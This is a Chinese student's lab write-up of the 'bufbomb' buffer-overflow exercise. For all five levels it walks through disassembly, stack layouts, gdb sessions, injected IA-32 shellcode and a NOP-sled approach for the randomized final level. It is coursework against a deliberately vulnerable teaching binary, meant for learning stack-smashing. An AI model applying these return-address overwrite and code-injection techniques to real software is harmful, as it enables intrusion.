實驗目的
本實驗的目的在於加深對IA-32函數調用規則和棧結構的具體理解。實驗的主要內容是對一個可執行程序”bufbomb”實施一系列緩衝區溢出攻擊(buffer overflow attacks),也就是設法通過造成緩衝區溢出來改變該可執行程序的運行內存映像,例如將給定的字節序列插入到其本不應出現的內存位置。
實驗中你需要對目標可執行程序BUFBOMB分別完成5個難度遞增的緩衝區溢出攻擊。5個難度級分別命名爲Candle(level 0)、Sparkler(level 1)、Firecracker(level 2)、Dynamite(level 3)和Nitroglycerin(level 4),其中Candle級最簡單而Nitroglycerin級最困難
實驗分析
1.Level 0: Candle
使用objdump得到彙編代碼如下,因此需要將返回地址設置爲0x08048c90
08048c90 <smoke>:
...
...
Test部分代碼如下:
08048e6d <test>:
8048e6d: 55 push %ebp
8048e6e: 89 e5 mov %esp,%ebp
8048e70: 53 push %ebx
8048e71: 83 ec 24 sub $0x24,%esp
8048e74: e8 6e ff ff ff call 8048de7 <uniqueval>
8048e79: 89 45 f4 mov %eax,-0xc(%ebp)
8048e7c: e8 6b 03 00 00 call 80491ec <getbuf>
8048e81: 89 c3 mov %eax,%ebx
...
Getbuf代碼如下:
080491ec <getbuf>:
80491ec: 55 push %ebp
80491ed: 89 e5 mov %esp,%ebp
80491ef: 83 ec 38 sub $0x38,%esp
80491f2: 8d 45 d8 lea -0x28(%ebp),%eax
80491f5: 89 04 24 mov %eax,(%esp)
80491f8: e8 55 fb ff ff call 8048d52 <Gets>
80491fd: b8 01 00 00 00 mov $0x1,%eax
8049202: c9 leave
8049203: c3 ret
調用Gets之前getbufn的棧如下:
內容 | 含義 | 在棧中的地址 |
---|---|---|
getbuf返回後執行的函數的第一個參數 | 0x5568336c | |
攻擊代碼的返回地址 | 0x55683368 | |
正常值:0x08048e81 | 返回地址 | 0x55683364 |
正常值:0x55683390 | test的幀指針 | |
… | ||
字符串地址 | 0x55683338 |
根據返回地址在棧中的地址和字符串地址可以很容易算出字符串包含48個字節,最後4個字節是smoke的地址
2.Level 1: Sparkler
和level0相同,這裏只需要將返回地址設爲fizz的返回地址0x08048cba,並將0x5568336c處的值設置爲makecookie產生的值即可
3.Level 2: Firecracker
bang部分代碼如下:
08048d05 <bang>:
8048d05: 55 push %ebp
8048d06: 89 e5 mov %esp,%ebp
8048d08: 83 ec 18 sub $0x18,%esp
8048d0b: a1 18 c2 04 08 mov 0x804c218,%eax
8048d10: 3b 05 20 c2 04 08 cmp 0x804c220,%eax
...
使用gdb查看0x804c218和0x804c220的值:
(gdb) x/x 0x804c218
0x804c218 <global_value>: 0x00000000
(gdb) x/x 0x804c220
0x804c220 <cookie>: 0x5a22d669
可知需要將0x804c218處的值設置爲cookie的值,應該插入的代碼如下:
movl $0x5a22d669,0x0804c218
ret
如果將代碼放在字符串的起始地址,需要將getbuf的返回地址設置爲字符串的起始地址,並將攻擊代碼的返回地址設置爲bang的地址
4.Level 3: Dynamic
getbuf的返回值存在%eax中,因此將%eax設置爲cookie值,由於getbuf返回時棧指針加了4,因此需將棧指針再減4,將test中的返回地址存入棧中再返回,代碼如下:
movl $0x5a22d669,%eax
subl $4,%esp
movl $0x08048e81,(%esp)
ret
同level2,將代碼放在字符串的起始地址,將getbuf的返回地址設置爲字符串的起始地址
5.Level 4: Nitroglycerin
Testn部分代碼如下:
08048e01 <testn>:
8048e01: 55 push %ebp
8048e02: 89 e5 mov %esp,%ebp
8048e04: 53 push %ebx
8048e05: 83 ec 24 sub $0x24,%esp
8048e08: e8 da ff ff ff call 8048de7 <uniqueval>
8048e0d: 89 45 f4 mov %eax,-0xc(%ebp)
8048e10: e8 ef 03 00 00 call 8049204 <getbufn>
8048e15: 89 c3 mov %eax,%ebx
...
08049204 <getbufn>:
8049204: 55 push %ebp
8049205: 89 e5 mov %esp,%ebp
8049207: 81 ec 18 02 00 00 sub $0x218,%esp
804920d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049213: 89 04 24 mov %eax,(%esp)
8049216: e8 37 fb ff ff call 8048d52 <Gets>
804921b: b8 01 00 00 00 mov $0x1,%eax
8049220: c9 leave
8049221: c3 ret
...
分析代碼可知兩者幀的相對位置沒有變化,因此getbufn執行ret之時的esp與testn的幀指針的差值固定,在插入攻擊代碼時後者存儲在棧中的位置遭到破壞,但是可以根據前者計算處後者,使用gdb查看這兩個值:
(gdb) b *0x8048e04
Breakpoint 1 at 0x8048e04
(gdb) b *0x8049221
Breakpoint 2 at 0x8049221
(gdb) run -u bovik -n
...
Breakpoint 1, 0x08048e04 in testn ()
(gdb) info registers ebp
ebp 0x55683390 0x55683390 <_reserved+1037200>
(gdb) continue
Continuing.
Type string:haha
Breakpoint 2, 0x08049221 in getbufn ()
(gdb) info registers esp
esp 0x55683364 0x55683364 <_reserved+1037156>
...
可知兩者的差值爲0x28
同level3,將eax的值設爲cookie,將esp減4,存放testn的返回地址
代碼如下:
movl $0x5a22d669,%eax
leal 0x28(%esp),%ebp
subl $4,%esp
movl $0x08048e15,(%esp)
ret
但是與前四關不同的是,字符串的起始地址不同,攻擊代碼的位置也就不同,同樣使用gdb查看5次運行時getbufn的幀指針,推算相應的字符串起始地址爲:
次數 | 字符串地址 |
---|---|
1 | 0x55683158 |
2 | 0x55683178 |
3 | 0x556830e8 |
4 | 0x55683158 |
5 | 0x556831a8 |
因此,只需將getbufn的返回地址設爲大於等於0x556831a8的值,並將返回地址和實際代碼之間以nop填補即可
特別提醒
- 在最後一關的時候,我通過一步步查看程序運行狀況,確定程序使用了一個5元素地址存放整個偏移量,還有一個levelcount數組存放相應level時validate應該運行的次數,因此最初的思路是根據這兩個值恢復ebp,結果異常詭異:程序在gdb裏一遍一遍運行都能通過,但是在shell裏面就是段錯誤,後來在gentoo上面的gdb裏面調試,才找出了錯誤原因:原來偏移量數組地址會變!!想起來這個數組是通過calloc分配的,所以地址可能會變。可是坑爹的gdb每次運行數組地址都是一樣的!!亂入三體裏面一句記得不太清楚的話,大意是:不管事情看上去多麼奇怪,不要懷疑,背後一定有人搞鬼!
- 另外這個程序本身寫得比較奇特,有比較高的研究價值,哈哈哈哈哈